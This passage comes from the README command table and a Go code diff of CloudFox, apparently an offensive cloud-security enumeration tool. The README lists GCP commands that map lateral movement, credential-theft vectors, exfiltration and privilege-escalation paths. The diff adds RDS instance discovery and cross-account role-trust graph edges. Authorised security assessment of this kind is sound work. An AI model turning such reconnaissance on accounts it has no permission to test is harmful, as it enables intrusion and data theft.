| GCP | [firewall](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#firewall) | Enumerate VPC networks and firewall rules with security analysis |
|
||||
| GCP | [loadbalancers](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#loadbalancers) | Enumerate Load Balancers |
|
||||
| GCP | [dns](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#dns) | Enumerate Cloud DNS zones and records with security analysis |
|
||||
| GCP | [endpoints](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#endpoints) | Enumerate all network endpoints (external and internal) with IPs, ports, and hostnames |
|
||||
| GCP | [private-service-connect](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#private-service-connect) | Enumerate Private Service Connect endpoints and service attachments |
|
||||
| GCP | [network-topology](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#network-topology) | Visualize VPC network topology, peering relationships, and trust boundaries |
|
||||
| GCP | [vpc-sc](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#vpc-sc) | Enumerate VPC Service Controls |
|
||||
| GCP | [access-levels](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#access-levels) | Enumerate Access Context Manager access levels |
|
||||
| GCP | [cloud-armor](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloud-armor) | Enumerate Cloud Armor security policies and find weaknesses |
|
||||
| GCP | [iap](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#iap) | Enumerate Identity-Aware Proxy configurations |
|
||||
| GCP | [beyondcorp](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#beyondcorp) | Enumerate BeyondCorp Enterprise configurations |
|
||||
| GCP | [kms](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#kms) | Enumerate Cloud KMS key rings and crypto keys with security analysis |
|
||||
| GCP | [secrets](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#secrets) | Enumerate GCP Secret Manager secrets with security configuration |
|
||||
| GCP | [cert-manager](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cert-manager) | Enumerate SSL/TLS certificates and find expiring or misconfigured certs |
|
||||
| GCP | [org-policies](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#org-policies) | Enumerate organization policies and identify security weaknesses |
|
||||
| GCP | [artifact-registry](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#artifact-registry) | Enumerate GCP Artifact Registry and Container Registry with security configuration |
|
||||
| GCP | [cloudbuild](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cloudbuild) | Enumerate Cloud Build triggers and builds |
|
||||
| GCP | [source-repos](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#source-repos) | Enumerate Cloud Source Repositories |
|
||||
| GCP | [scheduler](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#scheduler) | Enumerate Cloud Scheduler jobs with security analysis |
|
||||
| GCP | [pubsub](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#pubsub) | Enumerate Pub/Sub topics and subscriptions with security analysis |
|
||||
| GCP | [logging](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging) | Enumerate Cloud Logging sinks and metrics with security analysis |
|
||||
| GCP | [organizations](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#organizations) | Enumerate GCP organization hierarchy |
|
||||
| GCP | [asset-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#asset-inventory) | Enumerate Cloud Asset Inventory with optional dependency analysis |
|
||||
| GCP | [backup-inventory](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#backup-inventory) | Enumerate backup policies, protected resources, and identify backup gaps |
|
||||
| GCP | [lateral-movement](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#lateral-movement) | Map lateral movement paths, credential theft vectors, and pivot opportunities |
|
||||
| GCP | [data-exfiltration](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#data-exfiltration) | Identify data exfiltration paths, potential vectors, and missing security hardening |
|
||||
| GCP | [public-access](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#public-access) | Find resources with allUsers/allAuthenticatedUsers access across 16 GCP services |
|
||||
| GCP | [cross-project](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#cross-project) | Analyze cross-project IAM bindings, logging sinks, and Pub/Sub exports for lateral movement |
|
||||
| GCP | [foxmapper](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#foxmapper) | Run FoxMapper (graph-based IAM analysis) for privilege escalation path discovery |
|
||||
| GCP | [logging-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#logging-enum) | Scan Cloud Logging entries for sensitive data (credentials, tokens, PII) |
|
||||
| GCP | [bigquery-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigquery-enum) | Scan BigQuery datasets, tables, and columns for sensitive data indicators |
|
||||
| GCP | [bigtable-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#bigtable-enum) | Scan Bigtable instances, tables, and column families for sensitive data indicators |
|
||||
| GCP | [spanner-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner-enum) | Scan Spanner database schemas for sensitive table and column names |
|
||||
|
||||
|
||||
|
||||
# Authors
|
||||
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
|
||||
* [Seth Art (@sethsec](https://twitter.com/sethsec))
|
||||
* Joseph Barcia
|
||||
|
||||
# Contributing
|
||||
[Wiki - How to Contribute](https://github.com/BishopFox/cloudfox/wiki#how-to-contribute)
|
||||
|
||||
+8
-3
@@ -30,6 +30,7 @@ type ApiGwModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Gateways []ApiGateway
|
||||
@@ -178,10 +179,14 @@ func (m *ApiGwModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
// <-semaphore
|
||||
// }()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("apigateway", r)
|
||||
res, err := servicemap.IsServiceInRegion("api-gateway", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
|
||||
@@ -10,11 +10,17 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
func TestApiGw(t *testing.T) {
|
||||
|
||||
// Create a service map that downloads from AWS
|
||||
serviceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
|
||||
m := ApiGwModule{
|
||||
AWSProfile: "unittesting",
|
||||
AWSRegions: []string{"us-east-1"},
|
||||
@@ -26,6 +32,7 @@ func TestApiGw(t *testing.T) {
|
||||
WrapTable: false,
|
||||
APIGatewayClient: &sdk.MockedAWSAPIGatewayClient{},
|
||||
APIGatewayv2Client: &sdk.MockedAWSAPIGatewayv2Client{},
|
||||
ServiceMap: serviceMap,
|
||||
}
|
||||
|
||||
fs := internal.MockFileSystem(true)
|
||||
|
||||
+1
-1
@@ -301,7 +301,7 @@ func preloadData(filePaths []string) (*AllAccountData, error) {
|
||||
|
||||
for _, filePath := range filePaths {
|
||||
fileRecords, err := loadFileRecords(filePath)
|
||||
if err != nil {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
appData.Files[filePath] = fileRecords
|
||||
|
||||
+73
-5
@@ -1,7 +1,9 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -200,7 +202,12 @@ func (m *CapeCommand) findPathsToThisDestination(allGlobalNodes map[string]map[s
|
||||
s, sourceVertexWithProperties, _ := m.GlobalGraph.VertexWithProperties(source)
|
||||
//for the source vertex, we only want to deal with the ones that are NOT in this account
|
||||
if sourceVertexWithProperties.Attributes["AccountID"] != aws.ToString(m.Caller.Account) {
|
||||
// skip if the source Name contains AWSSSO-
|
||||
if strings.Contains(sourceVertexWithProperties.Attributes["Name"], "AWSSSO-") {
|
||||
continue
|
||||
}
|
||||
// now let's see if there is a path from this source to our destination
|
||||
|
||||
path, _ := graph.ShortestPath(m.GlobalGraph, s, d)
|
||||
// if we have a path, then lets document this source as having a path to our destination
|
||||
if path != nil {
|
||||
@@ -235,7 +242,7 @@ func (m *CapeCommand) findPathsToThisDestination(allGlobalNodes map[string]map[s
|
||||
privescPathsBody = append(privescPathsBody, []string{
|
||||
aws.ToString(m.Caller.Account),
|
||||
s,
|
||||
magenta(d),
|
||||
d,
|
||||
magenta(destinationVertexWithProperties.Attributes["IsAdminString"]),
|
||||
paths})
|
||||
} else {
|
||||
@@ -289,7 +296,7 @@ func ConvertIAMRoleToNode(role types.Role, vendors *knownawsaccountslookup.Vendo
|
||||
|
||||
TrustedPrincipals = append(TrustedPrincipals, TrustedPrincipal{
|
||||
TrustedPrincipal: principal,
|
||||
ExternalID: statement.Condition.StringEquals.StsExternalID,
|
||||
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
|
||||
VendorName: vendorName,
|
||||
//IsAdmin: false,
|
||||
//CanPrivEscToAdmin: false,
|
||||
@@ -650,6 +657,48 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
|
||||
}
|
||||
}
|
||||
|
||||
// if the role trusts a principal in another account explicitly, then the principal can assume the role
|
||||
if thisAccount != trustedPrincipalAccount {
|
||||
// make a CAN_ASSUME relationship between the trusted principal and this role
|
||||
|
||||
err := GlobalGraph.AddEdge(
|
||||
TrustedPrincipal.TrustedPrincipal,
|
||||
a.Arn,
|
||||
//graph.EdgeAttribute("AssumeRole", "Cross account explicit trust"),
|
||||
graph.EdgeAttribute("AssumeRole", "can assume (because of an explicit cross account trust) "),
|
||||
)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
//fmt.Println(TrustedPrincipal.TrustedPrincipal + a.Arn + "Cross account explicit trust")
|
||||
if err == graph.ErrEdgeAlreadyExists {
|
||||
// update the edge by copying the existing graph.Edge with attributes and add the new attributes
|
||||
//fmt.Println("Edge already exists")
|
||||
|
||||
// get the existing edge
|
||||
existingEdge, _ := GlobalGraph.Edge(TrustedPrincipal.TrustedPrincipal, a.Arn)
|
||||
// get the map of attributes
|
||||
existingProperties := existingEdge.Properties
|
||||
// add the new attributes to attributes map within the properties struct
|
||||
// Check if the Attributes map is initialized, if not, initialize it
|
||||
if existingProperties.Attributes == nil {
|
||||
existingProperties.Attributes = make(map[string]string)
|
||||
}
|
||||
|
||||
// Add or update the attribute
|
||||
existingProperties.Attributes["AssumeRole"] = "can assume (because of an explicit cross account trust) "
|
||||
err = GlobalGraph.UpdateEdge(
|
||||
TrustedPrincipal.TrustedPrincipal,
|
||||
a.Arn,
|
||||
graph.EdgeAttributes(existingProperties.Attributes),
|
||||
)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// If the role trusts a principal in this account or another account using the :root notation, then we need to iterate over all of the rows in AllPermissionsRows to find the principals that have sts:AssumeRole permissions on this role
|
||||
// if the role we are looking at trusts root in it's own account
|
||||
|
||||
@@ -667,6 +716,7 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
|
||||
if PermissionsRowAccount == thisAccount {
|
||||
// lets only look for rows that have sts:AssumeRole permissions
|
||||
if policy.MatchesAfterExpansion(PermissionsRow.Action, "sts:AssumeRole") {
|
||||
|
||||
// lets only focus on rows that have an effect of Allow
|
||||
if strings.EqualFold(PermissionsRow.Effect, "Allow") {
|
||||
// if the resource is * or the resource is this role arn, then this principal can assume this role
|
||||
@@ -820,10 +870,10 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
|
||||
fmt.Sprintf("Could not get account number from this PermissionsRow%s", PermissionsRow.Arn)
|
||||
}
|
||||
if PermissionsRowAccount == trustedPrincipalAccount {
|
||||
// lets only look for rows that have sts:AssumeRole permissions
|
||||
if policy.MatchesAfterExpansion(PermissionsRow.Action, "sts:AssumeRole") {
|
||||
// lets only look for rows that have sts:AssumeRole permis sions
|
||||
if policy.MatchesAfterExpansion("sts:AssumeRole", PermissionsRow.Action) {
|
||||
// if strings.EqualFold(PermissionsRow.Action, "sts:AssumeRole") ||
|
||||
// strings.EqualFold(PermissionsRow.Action, "*") ||
|
||||
// strings.EqualFold(PermissionsRow.Action, "*") {
|
||||
// strings.EqualFold(PermissionsRow.Action, "sts:Assume*") ||
|
||||
// strings.EqualFold(PermissionsRow.Action, "sts:*") {
|
||||
// lets only focus on rows that have an effect of Allow
|
||||
@@ -979,3 +1029,21 @@ func (a *Node) MakeRoleEdges(GlobalGraph graph.Graph[string, string]) {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// function to read file specified in CapeArnIgnoreList which is separated by newlines, and convert it to a slice of strings with each line as an entry in the slice.
|
||||
// the function accepts a string with the filename
|
||||
|
||||
func ReadArnIgnoreListFile(filename string) ([]string, error) {
|
||||
var arnIgnoreList []string
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return arnIgnoreList, err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
arnIgnoreList = append(arnIgnoreList, scanner.Text())
|
||||
}
|
||||
return arnIgnoreList, scanner.Err()
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/sns"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
func InitIamCommandClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) IamSimulatorModule {
|
||||
@@ -26,6 +27,7 @@ func InitIamCommandClient(iamSimPPClient sdk.AWSIAMClientInterface, caller sts.G
|
||||
Caller: caller,
|
||||
AWSProfileProvided: AWSProfile,
|
||||
Goroutines: Goroutines,
|
||||
modLog: internal.TxtLog.WithFields(logrus.Fields{"module": "iam-simulator"}),
|
||||
}
|
||||
|
||||
return iamSimMod
|
||||
|
||||
@@ -28,6 +28,7 @@ type CloudformationModule struct {
|
||||
WrapTable bool
|
||||
AWSOutputType string
|
||||
AWSTableCols string
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
CFStacks []CFStack
|
||||
@@ -192,8 +193,12 @@ func (m *CloudformationModule) PrintCloudformationStacks(outputDirectory string,
|
||||
|
||||
func (m *CloudformationModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan CFStack) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
serviceRegions, err := servicemap.GetRegionsForService("cloudformation")
|
||||
if err != nil {
|
||||
|
||||
+7
-2
@@ -29,6 +29,7 @@ type CodeBuildModule struct {
|
||||
AWSProfile string
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
@@ -211,8 +212,12 @@ func (m *CodeBuildModule) PrintCodeBuildProjects(outputDirectory string, verbosi
|
||||
func (m *CodeBuildModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("codebuild", r)
|
||||
if err != nil {
|
||||
|
||||
+85
-2
@@ -30,6 +30,7 @@ type DatabasesModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
Databases []Database
|
||||
CommandCounter internal.CommandCounter
|
||||
@@ -231,8 +232,12 @@ func (m *DatabasesModule) Receiver(receiver chan Database, receiverDone chan boo
|
||||
func (m *DatabasesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer wg.Done()
|
||||
|
||||
serviceMap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
serviceMap := m.ServiceMap
|
||||
if serviceMap == nil {
|
||||
serviceMap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
m.executeRdsCheck(r, wg, semaphore, dataReceiver, serviceMap) // Also returns Neptune and DocDB
|
||||
m.executeRedshiftCheck(r, wg, semaphore, dataReceiver, serviceMap)
|
||||
@@ -271,6 +276,15 @@ func (m *DatabasesModule) executeRdsCheck(r string, wg *sync.WaitGroup, semaphor
|
||||
service: "rds",
|
||||
executor: m.getRdsClustersPerRegion,
|
||||
})
|
||||
m.executeCheck(check{
|
||||
region: r,
|
||||
wg: wg,
|
||||
semaphore: semaphore,
|
||||
dataReceiver: dataReceiver,
|
||||
serviceMap: servicemap,
|
||||
service: "rds",
|
||||
executor: m.getRdsInstancesPerRegion,
|
||||
})
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) executeRedshiftCheck(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database, servicemap *awsservicemap.AwsServiceMap) {
|
||||
@@ -395,6 +409,75 @@ func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) getRdsInstancesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
|
||||
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, instance := range DBInstances {
|
||||
var public string
|
||||
var service string
|
||||
var roles string
|
||||
if instance.Endpoint == nil {
|
||||
continue
|
||||
}
|
||||
|
||||
name := aws.ToString(instance.DBInstanceIdentifier)
|
||||
port := instance.Endpoint.Port
|
||||
endpoint := aws.ToString(instance.Endpoint.Address)
|
||||
engine := aws.ToString(instance.Engine)
|
||||
|
||||
if aws.ToBool(instance.PubliclyAccessible) {
|
||||
public = "True"
|
||||
} else {
|
||||
public = "False"
|
||||
}
|
||||
|
||||
if isNeptune(instance.Engine) {
|
||||
service = "Neptune"
|
||||
} else if isDocDB(instance.Engine) {
|
||||
service = "DocsDB"
|
||||
} else {
|
||||
service = "RDS"
|
||||
}
|
||||
|
||||
associatedRoles := instance.AssociatedRoles
|
||||
for _, role := range associatedRoles {
|
||||
roles = roles + aws.ToString(role.RoleArn) + " "
|
||||
}
|
||||
|
||||
dataReceiver <- Database{
|
||||
AWSService: service,
|
||||
Region: r,
|
||||
Name: name,
|
||||
Engine: engine,
|
||||
Endpoint: endpoint,
|
||||
UserName: aws.ToString(instance.MasterUsername),
|
||||
Port: aws.ToInt32(port),
|
||||
Protocol: aws.ToString(instance.Engine),
|
||||
Public: public,
|
||||
Roles: roles,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
|
||||
@@ -42,10 +42,11 @@ func TestDatabasesCommand(t *testing.T) {
|
||||
}
|
||||
|
||||
expectedResults := []string{
|
||||
"db1.cluster-123456789012.us-west-2.rds.amazonaws.com",
|
||||
"db2.cluster-123456789012.us-west-2.rds.amazonaws.com",
|
||||
"db3.cluster-123456789012.us-west-2.neptune.amazonaws.com",
|
||||
"db4.cluster-123456789012.us-west-2.docdb.amazonaws.com",
|
||||
"db1.cluster-123456789012.us-west-2.rds.amazonaws.com", // make sure it includes the Aurora clusters
|
||||
"db2.cluster-123456789012.us-west-2.rds.amazonaws.com", // make sure it includes the Aurora clusters
|
||||
"db3.cluster-123456789012.us-west-2.neptune.amazonaws.com", // make sure it includes the Neptune instances
|
||||
"db4.cluster-123456789012.us-west-2.docdb.amazonaws.com", // make sure it includes the DocumentDB instances
|
||||
"db1-instances-1.blah.us-west-2.rds.amazonaws.com", // make sure it includes the RDS instances
|
||||
}
|
||||
|
||||
for _, expected := range expectedResults {
|
||||
|
||||
@@ -31,7 +31,8 @@ type DirectoryModule struct {
|
||||
AWSProfileProvided string
|
||||
AWSProfileStub string
|
||||
CloudFoxVersion string
|
||||
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
Directories []Directory
|
||||
CommandCounter internal.CommandCounter
|
||||
output internal.OutputData2
|
||||
@@ -190,10 +191,14 @@ func (m *DirectoryModule) PrintDirectories(outputDirectory string, verbosity int
|
||||
func (m *DirectoryModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Directory) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("clouddirectory", r)
|
||||
res, err := servicemap.IsServiceInRegion("directoryservice", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
|
||||
+7
-2
@@ -30,6 +30,7 @@ type ECRModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Repositories []Repository
|
||||
@@ -197,8 +198,12 @@ func (m *ECRModule) PrintECR(outputDirectory string, verbosity int) {
|
||||
func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Repository) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ecr", r)
|
||||
if err != nil {
|
||||
|
||||
+25
-4
@@ -35,6 +35,7 @@ type ECSTasksModule struct {
|
||||
Goroutines int
|
||||
SkipAdminCheck bool
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
pmapperMod PmapperModule
|
||||
pmapperError error
|
||||
iamSimClient IamSimulatorModule
|
||||
@@ -50,6 +51,7 @@ type MappedECSTask struct {
|
||||
Cluster string
|
||||
TaskDefinitionName string
|
||||
TaskDefinitionContent string
|
||||
ContainerName string
|
||||
LaunchType string
|
||||
ID string
|
||||
ExternalIP string
|
||||
@@ -145,6 +147,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
|
||||
"Account",
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"ContainerName",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
@@ -171,6 +174,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
|
||||
"Account",
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"ContainerName",
|
||||
"LaunchType",
|
||||
"ID",
|
||||
"External IP",
|
||||
@@ -184,6 +188,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
|
||||
tableCols = []string{
|
||||
"Cluster",
|
||||
"TaskDefinition",
|
||||
"ContainerName",
|
||||
"LaunchType",
|
||||
"External IP",
|
||||
"Internal IP",
|
||||
@@ -206,6 +211,7 @@ func (m *ECSTasksModule) printECSTaskData(outputDirectory string, dataReceiver c
|
||||
aws.ToString(m.Caller.Account),
|
||||
ecsTask.Cluster,
|
||||
ecsTask.TaskDefinitionName,
|
||||
ecsTask.ContainerName,
|
||||
ecsTask.LaunchType,
|
||||
ecsTask.ID,
|
||||
ecsTask.ExternalIP,
|
||||
@@ -302,8 +308,12 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
|
||||
func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedECSTask) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ecs", r)
|
||||
if err != nil {
|
||||
@@ -368,7 +378,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
return
|
||||
}
|
||||
|
||||
eniIDs := []string{}
|
||||
var eniIDs []string
|
||||
for _, task := range Tasks {
|
||||
eniID := getElasticNetworkInterfaceIDOfECSTask(task)
|
||||
if eniID != "" {
|
||||
@@ -394,6 +404,7 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
|
||||
Cluster: getNameFromARN(clusterARN),
|
||||
TaskDefinitionName: getNameFromARN(aws.ToString(task.TaskDefinitionArn)),
|
||||
TaskDefinitionContent: getTaskDefinitionContent(taskDefinition),
|
||||
ContainerName: getContainerNamesFromECSTask(task),
|
||||
LaunchType: string(task.LaunchType),
|
||||
ID: getIDFromECSTask(aws.ToString(task.TaskArn)),
|
||||
PrivateIP: getPrivateIPv4AddressFromECSTask(task),
|
||||
@@ -505,8 +516,18 @@ func getIDFromECSTask(arn string) string {
|
||||
return tokens[2]
|
||||
}
|
||||
|
||||
func getContainerNamesFromECSTask(task types.Task) string {
|
||||
var names []string
|
||||
|
||||
for _, container := range task.Containers {
|
||||
names = append(names, aws.ToString(container.Name))
|
||||
}
|
||||
|
||||
return strings.Join(names, "|")
|
||||
}
|
||||
|
||||
func getPrivateIPv4AddressFromECSTask(task types.Task) string {
|
||||
ips := []string{}
|
||||
var ips []string
|
||||
|
||||
for _, attachment := range task.Attachments {
|
||||
if aws.ToString(attachment.Type) != "ElasticNetworkInterface" || aws.ToString(attachment.Status) != "ATTACHED" {
|
||||
|
||||
@@ -23,7 +23,6 @@ func TestECSTasks(t *testing.T) {
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ECSTasksModule{
|
||||
|
||||
AWSProfile: "default",
|
||||
AWSRegions: []string{"us-east-1", "us-west-1"},
|
||||
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests")},
|
||||
@@ -33,10 +32,11 @@ func TestECSTasks(t *testing.T) {
|
||||
ECSClient: &sdk.MockedECSClient{},
|
||||
},
|
||||
expectedResult: []MappedECSTask{{
|
||||
Cluster: "MyCluster",
|
||||
ID: "74de0355a10a4f979ac495c14EXAMPLE",
|
||||
ExternalIP: "203.0.113.12",
|
||||
Role: "test123",
|
||||
Cluster: "MyCluster",
|
||||
ID: "74de0355a10a4f979ac495c14EXAMPLE",
|
||||
ContainerName: "web",
|
